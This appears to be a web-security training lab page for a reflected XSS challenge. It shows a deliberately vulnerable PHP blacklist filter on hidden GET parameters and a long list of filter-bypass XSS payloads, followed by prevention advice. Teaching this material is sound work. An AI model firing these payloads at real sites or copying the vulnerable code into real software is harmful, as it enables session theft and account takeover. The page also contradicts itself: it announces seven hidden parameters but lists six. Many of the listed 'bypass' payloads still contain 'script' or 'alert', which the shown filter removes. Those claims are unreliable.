Comprehensive Blacklist Filter XSS Lab

Test XSS with extensive blacklist filtering across multiple parameters

Comprehensive Blacklist Challenge

Lab Overview

This lab demonstrates an extensive blacklist filtering approach applied to multiple hidden parameters. The filter includes case variations, multiple event handlers, and dangerous functions, making this a challenging test of advanced bypass techniques.

Extensive Blacklist Filtering: All hidden parameters use the same comprehensive str_replace() filter that blocks multiple case variations, event handlers, tags, and JavaScript functions.
Multiple Hidden Parameters: There are 7 hidden parameters (id, cat, page, number, page_id, categoryid) not shown in the main form. Use tools like Arjun to discover them all!
# use arjun tool to find hidden parameters: id, cat, page, number, page_id, categoryid
Parameter Security Levels:
Secure fname, lname - Uses htmlspecialchars()
Extensive Filter 7 parameters - Same comprehensive blacklist
Advanced Filtering Multiple case variations and events blocked
Multiple Vectors 7 parameters to test advanced bypass techniques
Comprehensive Blacklist Filter Details:
Case Variations Blocked:
script Script sCript scRipt scrIpt scriPt scripT SCript SCRipt SCRIpt SCRIPt SCRIPT
Event Handlers Blocked:
ontoggle onmousemove onmouseover onfocus
Tags Blocked:
img image svg details
JavaScript Functions Blocked:
alert confirm prompt eval
Parameter: id
Extensive blacklist filter
Parameter: cat
Extensive blacklist filter
Parameter: page
Extensive blacklist filter
Parameter: number
Extensive blacklist filter
Parameter: page_id
Extensive blacklist filter
Parameter: categoryid
Extensive blacklist filter
Secure Parameters (fname, lname):
Input: <script>alert(1)</script>
Output: &lt;script&gt;alert(1)&lt;/script&gt;
Extensive Blacklist Filtered:
Input: <ScRiPt>alert(1)</ScRiPt>
Output: <>()</>
The same comprehensive blacklist filter is consistently applied to all 7 hidden parameters, making this a challenging test case for advanced bypass techniques.
Overall Security Level: High Security (but still vulnerable)

Objective: Discover all 7 hidden parameters and find creative ways to bypass the extensive blacklist filtering to execute XSS payloads.

Backend Source Code 
if(isset($_GET["fname"]) && isset($_GET["lname"])){
    echo htmlspecialchars($_GET["fname"], ENT_QUOTES);
    echo htmlspecialchars($_GET["lname"], ENT_QUOTES);
}
elseif(isset($_GET["id"])){
    $arr = array('details','alert','confirm','prompt','eval','details',
                'ontoggle','onmousemove','onmouseover',
                'script','Script','sCript','scRipt','scrIpt','scriPt',
                'scripT','SCript','SCRipt','SCRIpt','SCRIPt','SCRIPT',
                'script','img','image','svg','onfocus');
    $re = str_replace($arr, '', $_GET['id']);
    echo $re;
}
// Same filter applied to: cat, page, number, page_id, categoryid
Test Input Forms
Visible Parameters (HTML Encoded)
This parameter uses htmlspecialchars() encoding
This parameter uses htmlspecialchars() encoding
Hidden Parameters (Extensive Blacklist Filtered)
Hint: 7 parameters (id, cat, page, number, page_id, categoryid) are hidden but implemented with the same extensive blacklist filtering.
Uses comprehensive blacklist filtering
Uses same comprehensive filtering
Uses same comprehensive filtering
Uses same comprehensive filtering
Uses same comprehensive filtering
Uses same comprehensive filtering
Advanced XSS Bypass Techniques for Comprehensive Blacklist
Alternative Tags/Events (Not Filtered):
  • <iframe src=javascript:alert(1)>
  • <body onload=window['al'+'ert'](1)>
  • <marquee onstart=alert(1)></marquee>
  • <object data=javascript:alert(1)>
  • <embed src=javascript:alert(1)>
  • <audio src=x onerror=alert(1)>
  • <video src=x onerror=alert(1)>
Advanced String Manipulation:
  • <script>window['al'+'ert'](1)</script>
  • <script>this['al'+'ert'](1)</script>
  • <script>self['al'+'ert'](1)</script>
  • <script>top['al'+'ert'](1)</script>
  • <script>parent['al'+'ert'](1)</script>
  • <script>frames['al'+'ert'](1)</script>
Character Encoding Bypass:
  • <script>window['alert'](1)</script>
  • <script>window['\x61lert'](1)</script>
  • <script>window['\141lert'](1)</script>
  • <script>window[`al${''}ert`](1)</script>
  • <script>window['al'['concat']('ert')](1)</script>
Alternative Functions (Not Filtered):
  • <script>print()</script>
  • <script>open()</script>
  • <script>console.log(1)</script>
  • <script>setTimeout('al'+'ert(1)')</script>
  • <script>setInterval('al'+'ert(1)')</script>
  • <script>location='javascript:al'+'ert(1)'</script>
Comprehensive Blacklist Analysis:

The current filter is extensive but still has limitations:

  • Case variations: Covers many but not all possible combinations
  • Event handlers: Blocks 4 but many others exist
  • Tags: Blocks 4 common ones but many alternatives exist
  • JavaScript functions: Blocks 4 but many alternatives exist
  • String manipulation: No protection against concatenation
  • Character encoding: No protection against HTML/URL encoding
  • Global objects: No protection against accessing via window, self, etc.
Advanced Bypass Strategies:
  • Use HTML tags not in the blacklist (iframe, audio, video, marquee)
  • Use event handlers not in the blacklist (onload, onerror, onstart)
  • Use character encoding to bypass keyword detection
  • Use string concatenation to build blocked function names
  • Use alternative JavaScript functions not in the blacklist
  • Use global objects to access blocked functions
  • Use template literals or other string manipulation techniques
Security Implications

Comprehensive blacklist filtering demonstrates:

  • Even extensive blacklists can be bypassed with creativity
  • Attack surface increases with more parameters
  • String manipulation easily defeats keyword filters
  • Character encoding provides multiple bypass avenues
  • Global objects offer alternative access to functions
  • New HTML5 features constantly expand attack surface
  • Whitelist approaches remain superior to blacklists
Best Practices

For truly secure web applications:

  • Use context-aware output encoding instead of blacklists
  • Implement strict Content Security Policy (CSP) headers
  • Validate input based on expected data types and patterns
  • Use security libraries/frameworks for output encoding
  • Test all parameters with advanced bypass techniques
  • Apply consistent security controls across all parameters
  • Assume any blacklist can and will be bypassed
  • Regularly update security controls as new threats emerge
Real-World Security Implications
Common Extensive Filter Scenarios:
  • WAF implementations: Often use extensive but bypassable blacklists
  • Legacy applications: May have accumulated filters over time
  • Security plugins: Often use blacklist approaches with limitations
  • Custom frameworks: May implement "comprehensive" but flawed filtering
Impact of Comprehensive Filter Bypass:
  • Complete application compromise despite extensive filtering
  • Session hijacking through cookie theft
  • Account takeover attacks
  • Phishing attacks from within the application
  • Data exfiltration and privacy breaches
  • Reputation damage and legal consequences
Advanced Prevention Strategies:
  • Context-aware encoding: Use proper encoding for each output context
  • Input validation: Validate based on expected data types and patterns
  • Content Security Policy: Implement strict CSP headers
  • Security testing: Test all parameters with advanced bypass techniques
  • Parameter discovery: Use tools to find all parameters during testing
  • Security headers: Implement X-XSS-Protection, X-Content-Type-Options
  • Regular updates: Keep security controls updated with new threats